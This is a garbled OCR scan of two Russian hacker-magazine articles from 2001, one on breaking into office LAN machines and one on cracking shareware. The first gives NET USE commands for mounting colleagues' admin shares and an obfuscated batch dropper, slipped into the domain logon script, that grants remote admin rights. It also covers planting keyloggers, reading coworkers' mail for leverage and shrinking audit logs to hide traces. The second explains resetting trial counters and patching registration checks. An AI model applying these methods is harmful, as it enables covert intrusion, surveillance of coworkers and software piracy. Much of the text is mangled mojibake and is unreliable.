÷òî èç÷ðåå-

è

Æ

5. Как результат - получаешь свежий (толькоôàêò!НЕ ЗАБЫВАЙ

отклю-

º

)

ÍÅ

чатьЗАБЫВАЙзашаренныйотклюдиск,-

ñÿ

âí -

стра!) дамп паролей, который можно спокойно,)не спеша,чать зашаренныйè

чатьинз

чешаренныйюзеру открытого

êàòà

-

è

расшифровать.

ï

öèÿì-

иначе юзеру-

открытого

иначесурсаюзеруприоткрв

тогоключе-

W2k,логахíåîáï-

äèñê,

Примечание: в случае, если терзаемый комп -ðûòüресурса при выключе-

ресурсании компьютерапри выключебудет-

/win-

он работаетлюбым

.

ходимо применять метод pwdump2, правда, ñÿнии компьютераâ

будет

ниивыдаватьсякомпьютерасообщениебудет

dows

сервереï(ñì.

-

ºŁ

лишь если ты физически находишься на

ð å ä -

êàòàвыдаваться-

сообщение

выдаватьсятом, чтосообщениек под-

/ óäà-

íåìó

раздел про нестандартные сервисы).

òîì,

î

º

î

ê íåìó ïîä-

том,ключены

немупользоватед- -

логахе

í -

.

FileServer

in-

-

ï

÷òî

Æ

/winключены-пользовате-

.dal.net.

пользовате-

íключеныли,это

хесть гуд. В

º.netæ .Ł˝ru:6667),ŁæŒ

Mitino

Имеем пользователей

рытьсяº

dowsíå åñòü ãóä. Â

.com:6667),

StarLink

ì

немоментесть гудюзер,.В

/

ëþá é

-

-

net.ru:6667),,º StarLinkØ. Mitino(irc

â

êàòà-

/

óäàлюбой -момент

þçåð,

(forest.dal.net.

любойеслимоментонне лох,юзер,набе-

Ł

.dal.netæ.ru:6667)Æ Ł

ø è íå

å

ëè, ýòî-

ã

Ł,

StarLinkæ

(irc

Теперь, зная пароль администратора, мы

можем в неко-

ленесли он-не лох, набе-

IRC

æ

º

åñëè

FileServer

netstatнелох,-a,набеи -

òû

í

à

ForestNet (forest.dal.net.ru:6667)IRCß æß, º ÆŁ .ÆłŁ

Window

пользовате-

netstatõ -a,

è

òû

торых случаях нагло вламываться на компы í ûðåò

æ Ł

æŒ Ł

Ł

Ł

ðåò

netstat-a,

òû

ïðåä

FileServeræ

Œ,IRC挪 Ł ß.æ˝Ł

ºŁ,Ł

-æÆłŁº

-

s. ×àñ-

ì

âëèï.à

-

º

Ø.

æ

æ

âëèï.

Ł

ºŁæŒº

ŁØ.æ æ ŁŁæºŁŁªŁæ ªæ ªæº,æ

òî àä-æ

минис-æ æ ææߣº

Ł

ŁØæ. Æ

æ Æ

Ł

æ

ł

5

6

Łæ

æ

æªł

æ

9 Quit>

Кодинг

Hack-Faq

æ Ææ

æ Ææ

ß

ß,

ß,

ºŁ

43

Ł

ß

Ł

ł

æ

æ Æ

æ

7 JoyStickÆß ª . ˝

-

Ł,8-

Юниты

Æß

ß

ª

. ˝

Ł,

Łı, FileServer

æ Ææ

º

ß,

æ Ł

º ªŁ

ºŁ

º Æ

Łæı

Ł .

IRC

IRC

æ ª ,

Łæı

º

æ Ł

º ªŁ

-

æ ª ,

Ł .

Æß

ª

. ˝

Ł,

Łı,

FileServer

В сети действуют жесткие правила и ограничения

hang

e

C

E

X

-

d

F

t

P

i

D

<Page 044>

r

NOW!

o

to

BUY

Взлом

w Click

m

w

w

o

.

.c

p

g

df

n

e

-xcha

Основы выживания в локальной сети

Rem0te Administrat0r aka r00t

				hang			e
			C					E
		X
	-								d
	F									t
	ХАКЕР\¹34\Октябрь\2001P									i
	D									r
							NOW!			o
						BUY
-мпьютер
	w Click			to							m
	w
	w									o
.									.c
		p						g
		df					n		e
				-x cha

< Folder3>

лей с ОС 95-98, Ме и w2k, а именно, если у них

Добавляем строчку в батник:

стоит тип доступа на уровне пользователей + ус-

regedit /s share.reg (чтоб ничего не было вид-

тановка по умолчанию.

íî)

Формат команды: (из-под 95-98-МЕ не работает!

Содержимое файла share.reg:

NT

based

only!):

NET

USE

H:

/USER:DOMAIN\adminname

\\USER_PETYA\c$

******************************************

12345

******************************************

где DOMAIN - домен или рабочая группа, либо

REGEDIT4

вообще имя рабочей станции.

[HKEY_LOCAL_MACHINE\Security\Access\Admin

adminname - логин нашего администратора, а

\Remote

12345 его пароль.

"YOUR_DOMAIN\\DOMAIN ADMINS"=hex:ff,00

с$ - скрытый расшаренный диск С:

[HKEY_CURRENT_USER\Software\Microsoft\Win

Тут есть свои нюансы. Способ работает в следу-

dows\CurrentVersion\Policies\System]

ющих случаях:

"NoAdminPage"=dword:00000001

1. У пользователя установлен совместный доступ

******************************************

к файлам и принтерам.

******************************************

2. Если у него не дошли руки посмотреть в наст-

Вместо your_domain, естественно, ставим свой

ройках, кому разрешено администрировать 98-е.

домен. Расширение и имя файла share.reg мо-

По умолчанию администраторы домена.

жет быть любым, кстати. Когда в начале рабо-

чего дня все начнут входить в сеть, "патч" сра-

Грабли

ботает. Через час-полтора можно вернуть бат-

Если у юзера стоит русская версия Win9х, со-

ник в прежнее состояние. Если данная схема

проникновения в твоем случае неприемлема,

ответственно она рассчитана на русский же

сервер PDC или рабочей группы, так

как управление по умолчанию отдается

/

I

N

S

E

R

T

группе "администраторы домена". А так

как обычно ставят NT 4.0 W2k SERVER

английский (по-моему русского NT 4.0

íå

существует), то, соответственно,

там такой группы нет. Там есть Domain

admins. Ïî ñóòè îäíî è òî æå, íî â ðå-

зультате не работает.

Гораздо легче, если у пользователя что-либо

можно

сделать

локальный патч

и подсунуть

из линейки NT. Зная его пароль, а предполо-

пользователю.

жим, что LCP нам его дал, мы можем подклю-

Я не стал извращаться и написал вот что:

читься к нему:

@echo off

NET

USE

H:

/USER:DOMAIN\petya

\\USER_PETYA\c$ 123

if not exist c:\windows\win.com goto exit

или применить имя встроенного аккаунта:

if exist c:\windows\system\share.vxd goto exit

@C:

NET USE H: /USER:USER_PETYA \administrator

@cd \Windows\system

\\USER_PETYA\c$ 123

@echo REGEDIT4 > test1.vxd

Где administrator - встроенная учетная запись

@echo

администратора РАБОЧЕЙ СТАНЦИИ.

[HKEY_LOCAL_MACHINE\Security\Access\Admin

Мало того, теперь можно запускать-тормозить

\Remote] > test2.vxd

сервисы, иметь доступ к реестру и много чего

@echo "YOUR_DOMAIN\\DOMAIN

интересного!

Для этого

можно использовать

ADMINS"=hex:ff,00 > test3.vxd

запуск от имени другого пользователя. Для то-

@echo

го чтобы исправить положение с

рабочими

[HKEY_CURRENT_USER\Software\Microsoft\Win

станциями Win95-98-ME (см. грабли; несоот-

dows\CurrentVersion\Policies\System] >

ветствие языков рабочей станции и сервера) и

test4.vxd

получить-таки желаемый доступ к ним, при-

@echo "NoAdminPage"=dword:00000001 >

дется потрудиться. Если сеть с доменом, то

test5.vxd

âñå

довольно

просто. Есть

такая

штука,

êàê

@copy

скрипт, активизируемый при входе в сеть. По-

test1.vxd+test2.vxd+test3.vxd+test4.vxd+test5.

просту обычный командный файл в каталоге

vxd share.vxd >nul

NETLOGON. Туда пишутся различные команды

@del test*.vxd >nul

типа подключения сетевых дисков и проч. Ни-

@regedit /s share.vxd

кто не мешает тебе придти пораньше на рабо-

:exit

ту и добавить в него кой чего :) - права-то мы

Коряво, наверное, но это в основном РАБОТА-

раздобыли.

ЕТ. Обработать

bat2com-ом, потом

ñîì2åõå,

Пример: rus-eng compatibility patch :)

следом pklite c максимальной

компрессией

< Взлом >19/10\01

(unextractable). Это нужно для того, чтобы не было понятно, что это "чудо программистской мысли" все-таки делает :). По совету вирусописателей после забить нулями заголовок с текстом про pklite. Здесь все-таки больше подойдет программа именно под дос, т.к. не вызывает особых подозрений при загрузке из батника.

Можно, конечно, всадить это все (правку реестра) либо в инсталлятор, либо еще куда, можно просто написать программу на нормальном языке. Но случай со скриптом наиболее действенный и глобальный, т.к. пропатчатся ВСЕ, кто вошел в сеть... Естественно, в батник можно воткнуть все что угодно... Хоть format D :).

Локальные конфликты

Хорошо зарекомендовал себя voidozer для 98- х и обычный нюк для 95-х. Странно, но voidozer оказался бесполезен против 95-х непатченных виндов! Пришлось качать старый добрый winnuke :). Лично я употребляю их в качестве remote shutdown-a для 98-95 (например, когда

ты подсадил через шару кейлоггер либо трояна и не хочешь ждать, когда / юзер сам перезагрузится, - тебе не терпится почитать, что он там пишет

подружкам :).

Почта

Вместе с правами администратора ты получил универсальный ключ к почтовым ящикам. Рекомендую иногда туда заглядывать, там бывает много интересного - в том числе пароли, а также любовная переписка и прочие тайны. Юзеры часто доверчивы и думают, что никто их почту не читает :). Разве плохо знать, что твой шеф трахает вон ту девицу из бухгалтерии, иногда это может быть самым весомым аргументом в споре с ним :). Скорее всего нужно будет поставить себе программу управления почтовым сервером и юзать ее с правами админа (вообще про почту отдельный разговор, так как все зависит от конкретного случая).

Личная безопасность

Локалка это не iNet, и найти виновника гораздо проще, если администратор не спит, не пьян и не под наркозом (хочется добавить - и не в танке!). Тем более, что NT ведет лог, который кличут eventlog и который фиксирует действия пользователей и системные события. Однако не все так страшно: по умолча- нию самый гнусный с нашей точки зрения security log не включен, и в этом случае мы можем делать все что угодно. Я еще раз под- черкиваю - по умолчанию, это довольно часто встречающаяся установка. Включается security log при помощи так называемого аудита, он описывает, какие действия и собы-

44 Ньюсы 1 Феррум 2 PC_Zone 3 X-Стиль 4 Взлом

				hang			e
			C					E
		X
	-								d
	F									t
	D									i
										r
P						NOW!				o
						BUY
					íîé
w Click				to							m
w
	w									o
	.								.c
		p						g
			df				n		e
				-xcha

ñåòè /

< Folder4 >

				hang		e
			C				E
		X
	-							d
F									t
<PageP	045>								i
D									r
						NOW!			o
				to	BUY
w Click										m
w
w									o
	.							.c
		p					g
			df			n		e
				-x cha

тия фиксировать в журнале. Но особо наглые действия вносятся и в SYSTEM LOG, например, некто подключил себе чужой почтовый ящик в MS Exchange. Но им можно управлять, как и всем остальным, удаленно. Делается это при помощи стандартной опции "Управление компьютером".

Управляй и властвуй!

Данная консоль должна запускаться с привилегиями администратора удаленного компьютера. При помощи этого инструмента можно так отадминистрировать удаленную машину, что ей дурно станет :). Полностью отключать аудит не рекомендую - это будет заметно, но уменьшить размеры лога - запросто. А потом в аудите нужно ВКЛЮЧИТЬ все что можно, следы будут очень быстро затираться :). Если ты нагадил на серваке в субботу, в понедельник следов может уже и не быть. Политика в отношении отключения либо, наоборот, включения аудита зависит от администратора удаленного компьютера. Если это Марья Ивановна, 54-летний бухгалтер, можно отключать. Она точно не знает, что это такое.

Это рекомендованные настройки eventlog-a на удаленной машине :)

Так как система постоянно пишет сюда всякую чушь, максимум че- рез сутки следов присутствия не останется.

Ãëþê

В NT 4.0 eventlog НЕ ПИШЕТ твоего имей это в виду! Он пишет нетбиос машины. А кто тебе мешает тачку-то реименовать после славных дел :). админ когда найдет, где она стоит :) шуток (правда, потом нужно будет авторизоваться в домене). Если домен ит на W2k, то дело, в общем, тухлое

скотина пишет в логи и IP, и все остальное, плюс даже различает, когда ты в пароле или логине ошибся, а когда вообще от балды набрал! Тут остается уповать на тупого админа и вознести молитву его неуемной лени :). А также скорости миграции на W2k.

Áàþ áàé

Ну как, загрузил я тебя? Переваривай. А в следующий раз мы поговорим о настройках безопасности твоей любимой W2k :).

P.S. Кстати, а ты давно заглядывал в eventlog СВОЕЙ машины? :)

Честно сказать, я никогда не боролся с российскими крякерами. Во-первых - это бесполезно. Вовторых, я понимаю, что мы еще не доросли до буржуйской зарплаты, чтобы платить лишние зеленые за софт. Поэтому я никогда не ругал наших крякеров и никогда не испытывал ненависти к людям, использующим мой софт нелегально.

hang

e

C

E

X

-

d

F

t

P

i

D

<Page 046>

r

NOW!

o

to

BUY

w Click

m

Взлом

w

w

o

.

.c

p

g

df

n

e

-xcha

Долгоиграющие проги

Horrific ([e-mail]; www.x-c-r.com)

					hang		e
				C				E
		X
	-								d
	F									t
	ХАКЕР\¹34\Октябрь\2001P									i
	D									r
							NOW!			o
						BUY
					to
////ДОЛГОИГ											m
	w Click
	w
	w									o
.									.c
		p						g
			df				n		e
					-x cha

Методы снятия защиты с шароварных прог

< Folder1 >

Шароварные проги постепенно начали занимать на	Некоторые особо жадные пытаются встроить в свое
нашем винте больше половины места. Если раньше	детище поддержку ключей или еще чего-то подобно-
все стремились использовать большие пакеты, такие	го. Они надеются на рекламу, в которой написано, что
как MS Office, то теперь народ юзает специализиро-	HASP - непобедим :). Все это лажа. Нет еще такой за-
ванный шароварный софт. Это потому что он удоб-	щиты, которую не смогли обойти Х-умельцы :). Наши
ней, делает все лучше и практически халявный. Про-	братья никогда не подведут. Взломают все, что дви-
блема только в слове "практически". Как же сделать,	жется и не движется. Зайди на любой каталог кряков
чтобы оно превратилось в слово "абсолютно"? Давай	в Инете. Там ты найдешь громадное количество кре-
разберемся.	ков для любой проги. Так что защита - невыгодное
Программеры не очень любят отдавать свой труд дру-	дело. Вот поэтому в моих прогах стоит примитивная
гим за 0 баксов. Я их понимаю, потому что я сам про-	проверка, которая подействует только на самого на-
граммер. А помимо этого я еще и человек, поэтому	чинающего. Любого хоть немного продвинутого юзе-
мне иногда тоже хочется кушать :). А как же програм-	ра она даже не взволнует.
меру еще заработать деньги, если не продавать свой
труд? Никак. Мне повезло, помимо программирова-	Где взять деньги
ния я занимаюсь еще и журналистикой, обучением
других, ремонтом и настройкой техники. Так и набира-	А что же юзеры? Им нравятся шаровары, и они го-
ется копеечка на корочку черного хлеба :).	товы тоннами сливать их себе на винт. Но где взять
Жаль, что не всем так везет. Чтобы получить нор-	такое количество буказоидов, чтобы оплатить же-
мальную работу, программерам приходится очень	лезного друга, ОС, офис да еще и шаровары. Если

много учиться. С каждым годом это стано-
вится все труднее и труднее, потому что эта	/ I	N	S	E	R	T
индустрия изменяется по закону Мура в ква-
драте. Технологии изменяются каждые пол-
года, постоянно появляются новые языки
программирования, SDK или движки. За
всем этим прогрессом не сможет угнаться
ни один вундеркинд. Вот и приходится всем
довольствоваться написанием простой ути-
лы и продажей ее народу. Если получится
уникальная прога, то можно срубить нехилые
баксы, если за нее начнут платить.
А как заставить юзера заплатить деньги за
свою утилу? Ответ однозначен - поставить
ограничение на количество юзаемых дней
или количество запусков. В любом случае
через какое-то время утила перестает рабо-
тать. И вот тут, если юзеру нужна эта тулза,
он отслюнявит за нее пару зеленых. Ну а ес-

ли нет, то значит программер где-то прохалявил.
	за все платить, то никакой зряплаты не хватит. Вот
Методы защиты	и приходится юзверям мучиться с шароварами, ис-
	кать способы обхода защиты. Честно сказать, я ни-
Большинство шароварных прог защищены простей-	когда не боролся с российскими крякерами. Во-
шим счетчиком или простым математическим алго-	первых - это бесполезно. Во-вторых, я понимаю,
ритмом. Поэтому обойти эту защиту не составляет	что мы еще не доросли до буржуйской зарплаты,
труда даже начинающему юзеру. Такое утверждение	чтобы платить лишние зеленые за софт. Поэтому я
верно для 90% шаровар. Я даю ногу Билла на отсече-	никогда не ругал наших крякеров и никогда не ис-
íèå, ÷òî ýòî òàê :).	пытывал ненависти к людям, использующим мой
Эта теорема работает и будет работать, потому что	софт нелегально.
программер из гаража не будет тратить время на за-	Но в то же время я ненавижу людей, которые спо-
щиту, потому что это отнимает очень много времени.	собны заплатить за чужой труд, но не делают этого
Если это время потратить на защиту проги от взлома,	только по своей жадности. Я же тоже человек и хо-
то не останется времени на саму прогу. И тогда ша-	чу есть :). Почему бы не заплатить мне заработан-
ровара не сможет конкурировать с программными	ные мной деньги? Ты ж не юзаешь свой телевизор
монстрами от корпораций.	на халяву, а платишь за него в магазине реальные
Заметь, что даже MS защищает проги простым се-	зеленые? Если ты относишься к категории жадин, то
рийным номером, который проверяется математиче-	переверни страницу, чмо позорное :). Если ты не
ски. Алгоритм прост как три копейки, потому что нет	платишь деньги только по причине их отсутствия, то
смысла мудрить громадные вычисления, когда любой	эта статья для тебя. Я уже говорил, что программе-
Х - совместимый чел сможет снять эту защиту :). А ес-	ры - тоже люди. Поэтому мы понимаем других и го-
ли и не сможет, то любой купивший одну лицензию	товы помочь.
размножит ее по всему миру. Так что нет смысла за-
щищаться, все равно победит нападающий.

< Взлом >19/10\01

Реальность защиты

Ладно, черт с этими жадинами. Зонтик им в задний проход по самую ручку, открыть и пару раз провернуть :). Я уже говорил, что полно сайтов с кряками на любой вкус. Многие считают, что там есть все кряки, но это виртуальная реальность. А реальная реальность заключается в слишком большом коли- честве прог. Ни один сайт, посвященный крякам, не может содержать абсолютно все описания. Поэтому ты можешь остаться без любимой проги. И все же кряк с Инета самый простой и работающий способ. Достаточно просто зайти на самый крупный отстойник и поискать там. Советую запосетить www.cracks.am . Если здесь не найдешь, то более мелкие сайты тем более не помогут. Придется работать самому.

Если нет кряка

Если ты не смог найти инструкции по обходу защиты в сети или у тебя вообще нет вы- / хода в Инет, то придется поработать руками. Это достаточно просто, если есть необходимый софт. Самым простейший способ заставить прогу работать - продлить срок ее службы. Как я уже сказал, защита шаровар примитивна и в основе ее - счетчик или количество используемых дней. Второе предпочтительней. Почему? Сейчас

объясню.

Программеры очень часто допускают ошибку при проверке даты. При установке прога записывает текущую дату в реестр. При запуске прога проверяет - не превышает ли текущая дата дату установки плюс определенное число дней. Если да, то лимит вышел. Вот тут есть скрытая ошибка. Переведи дату в

компе на 01.01.2010 года и установи прогу. Теперь верни в нормальное положение и юзай софт. Теперь прога будет работать до 01.01.2010 плюс определенное число дней.

Накручивание счетчика

Если перевод даты не помог или используется счет- чик запусков проги, то есть другой способ - "мониторинг реестра". Для него тебе понадобится отправиться сюда: www.sysinternals.com. Здесь валяется Regmon for Windows NT/9x, который доступен и в исходниках. Давай теперь разберем работу с Regmon на примере накрутки моей проги CyD Shell. Запусти Regmon, а потом запусти CyD Shell. В окне Regmon появятся все события, связанные с обращением к реестру. Каждое обращение разбито на несколько колонок:

1.# - порядковый номер сообщения.

2.Process - прога, обратившаяся к реестру.

3.Request - запрос.

4.Path - ïóòü.

5.Result - результат.

6.Other - дополнительные параметры.

46 Ньюсы 1 Феррум 2 PC_Zone 3 X-Стиль 4 Взлом

		hang	e
		C		E
		X
	-				d
	F					t
D						i
						r
P			NOW!			o
		BUY
		to
	РАЮЩИЕ П—
w Click							m
w
w						o
	.				.c
		p		g
		df	n		e
		-xcha

< Folder2 >

RegMon

Самое первое, что нужно поискать, - строку, в которой будет поле Process равно "Cyddeskt" и поле Request равно SetValueEx. В момент загрузки программы считывают параметры и настройки, а SetValueEx - означает запись в реестр. Так что же можно записать во время загрузки? Только счетчик. Посмотри в поле Other - это значение, которое записано в реестр. Если хорошо посмотреть на скрин 1, то ты увидишь там 18. Запись происходит по адресу: HKEY_CURRENT_USER\Software\CyD\CyD Desktop\ProductID.

Теперь посмотри немного выше. По этому же адресу происходило чтение параметра и посчиталось значение 19. Это значит, что счетчик работает в обратном порядке, и когда он достигнет нуля, прога перестанет запускаться. Теперь ты сможешь спокойно вернуть прогу к жизни, увеличив ручками этот счетчик. А в большинстве прог можно сразу увеличить его до 10000, и прога прозевает это. Если счетчик работает на увеличение (например, до 100), то можно поставить там значение -10000, и тогда прога задолбается ждать, когда наступит предел.

Точно так же можно корректировать и даты. Например, можно поправить один параметр в реестре для The Bat так, что он будет работать бесконечно, показывая, что у тебя осталось -5000 дней.

Если у тебя возникли проблемы с мониторингом, то, чтобы не перестанавливать прогу, можешь просто удалить из реестра все значения, связанные с прогой. Если используется счетчик запусков, а не дата, то можно сделать даже проще. После установки прога запишет начальные параметры в реестр.

Запусти regedit и найди здесь: HKEY_CURRENT_USER\Software\имя фирмы или проги. Выдели раздел и экспортируй его в файл. Когда закончится лимит запусков, просто импортируй этот файл на родину, и все настройки вернутся в начальное состояние.

Накручивание счетчика. Второй эпизод

Почему я говорю только о реестре? Да потому что это самый распространенный и самый удобный способ для проги сохранить свои параметры. Но этот способ не единственный. Некоторые современные и большинство старых прог используют для сохранения простые файлы. Для решения этой про блемы отправляйся сюда же, на www.sysinternals.com, и качай File Monitor (Filemon for Windows NT/9x). Это тулза для мониторинга обращений к файлам.

FileMon

Работа с ним абсолютно такая же, как и с Regmon. Так что ты без проблем вычислишь место и способ сохранения счетчика.

Конкретный взлом

Если ты хочешь избавиться от всех предупреждений о регистрации, получить все возможности шаровары и реально зарегить ее, то тут уже без дизассемблера и машинных кодов не обойтись. Я постараюсь тебе дать основы этого взлома и в то же время не вдаваться в глубину. То, что я расскажу, будет достаточно для любого программера. А если ты несовместим с кодингом, то этого будет достаточно для взлома только простой защиты.

Итак. Для работы нам понадобится:

1.W32dasm (желательно не меньше версии 8.9), можно найти на www/expage.com/page/w32dasm

2.Turbo Debugger (от фирмы Borland) можно найти на любом диске со старым Borland C++ или Pascal.

3.DiskEditor (можно любой вариант, но я люблю от дяди Нортона).

Запусти W32dasm. Выбери из меню Disassembler пункт «Open file to Disassemble...». Открой необходимый .ехе файл. Я опять возьму CyD Shell. Прога быстро превратит машинный код в assembler. Теперь переходим к самому взлому. Для начала нужно попробовать найти коды. Для этого выбери меню Search- >Find Text. Введи слово Regist и запусти запуск. Когда такое слово будет найдено, осмотрись вокруг. Если не видишь ничего интересного, то продолжай поиск. Ты должен найти простой текст, связанный с регистрацией.

W32dasm

Посмотри на рисунок. Там показан скрин результата моего поиска. W32dasm нашел текст: "Enter registration code". Я думаю, что это то, что надо. Если ты рубишь в языке

< Взлом >19/10\01

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

5 Кодинг 6 Hack-Faq 7 JoyStick 8

hang

e

C

E

X

-

d

F

t

P

D

i

r

<Page 048>

NOW!

o

to

BUY

Взлом

w Click

m

w

w

o

.

.c

p

g

df

n

e

-xcha

Долгоиграющие проги

Horrific ([e-mail]; www.x-c-r.com)

—ÐÎÃÈ///

hang

e

C

E

X

-

d

F

t

D

1

i

r

P

NOW!

o

to

BUY

w Click

m

w

w

o

.

.c

p

g

df

n

e

-x cha

assembler, то можешь просмотреть команды. Если с этим у тебя проблемы, то смотри на строки, начинающиеся с символа "*" (звездочка). Итак, смотрим на такие строки чуть ниже. Следующая строка абсолютно ничего не говорит. Опускаясь еще ниже, ты сможешь увидеть строку:

* Possible StringData Ref from Code Obj ->"RGCD1" Самое интересное здесь находится в кавычках - "RGCD1". Если ты не рубишь в программинге, то по методу научной дедукции ты сможешь догадаться, что введенный код будет сравниваться с "RGCD1". Это легко, потому что мы сначала нашли сообщение: "Введите регистрационный код", и тут же строка непонятных символов. Что мешает проверить эту строку как регистрационный код?

Ну а если ты программер, то по коду ты сможешь узнать, что первые 5 символов введенного ключа должны быть "RGCD1". Остальные символы могут быть любыми. Это идеальный вариант, когда происходит простое сравнение. Хуже, когда используется математика. Но давай посмотрим немного дальше. Ты найдешь следующие строки: "Software", "CyD", "CyD Desktop" и "Product". Тебе не напоминает ли это реестр? А мне напоминает :). Software\CyD\CyD Desktop - путь в реестре, а Product - строковый параметр. Почему строковый? Да потому что еще ниже ты найдешь строку - "23sa4D24sf2s3g45s". Это значит, что если такая строка

< Folder3>

есть в реестре, то прога зарегистрирована. Вот так. Даже если для проверки кода используется математика, ты сможешь ее обойти, если найдешь такой идентификатор. Но это все простейшие варианты защиты. Несмотря на простоту, они используются очень часто. Я сам использую такие методы, потому что тратить время на сложные вещи нет смысла. Все равно взломают :).

Сложный взлом

Если ты ничего не нашел, то тут уже без дебагинга не обойтись. Придется запускать Turbo Debagger и искать регистрацию, отлаживая прогу. Тут уже без конкретных знаний кодинга не обойтись. Я не буду тут вдаваться в подробности, а дам пару советов, которых будет достаточно для кодеров:

1.Попробуй поискать все вызовы функций MessageBoxA. Чаще всего рядом с регистрацией будет хотя бы один вызов этой функции. В основном, для сообщения об удачной регистрации.

2.Ищи последовательность кодов выхода из проги. Посмотри, откуда они вызываются. Если прога выработала свой ресурс, то она не запустится, а значит гдето должен быть принудительный вызов закрытия проги. Когда найдешь, подымись немного выше и найди команду перехода. Она обязательно должна быть, потому что всегда используется алгоритм типа: "Если

программа не зарегистрирована, то перейти на выход проги, иначе перейти дальше". Твоя задача - заменить условный переход на безусловный (jmp) по адресу продолжения проги.

Для редактирования кода очень удобен Turbo Debugger (TD). Ты можешь в любой момент щелкнуть по любой строке кода правой кнопкой и выбрать пункт Assembler. Введи в появившемся окне новую команду на языке Assembler, и TD вставит необходимый машинный код в выбранную строку. Единственный недостаток - сохранить этот код невозможно. Просто запомни его и адрес размещения, а потом поправь с помощью любого HEX-редактора (я предпочитаю Disk Editor).

Вот и сказке конец

На этом считаю осмотр методов взлома прог оконченным. Этой инфы будет достаточно для взлома простых защит. Как я уже говорил, такие методы используются в 80-90% прог. Жаль только, что остальные проги самые распространенные. Я заметил, что чем круче прога, тем лучше у нее защита. Я думаю, что чем больше ее используют, тем жаднее становятся программеры. С одной стороны они тоже кушать хотят. А с другой - это бессмысленно, потому что взломать можно все.

На этом наш обзор считаю оконченным.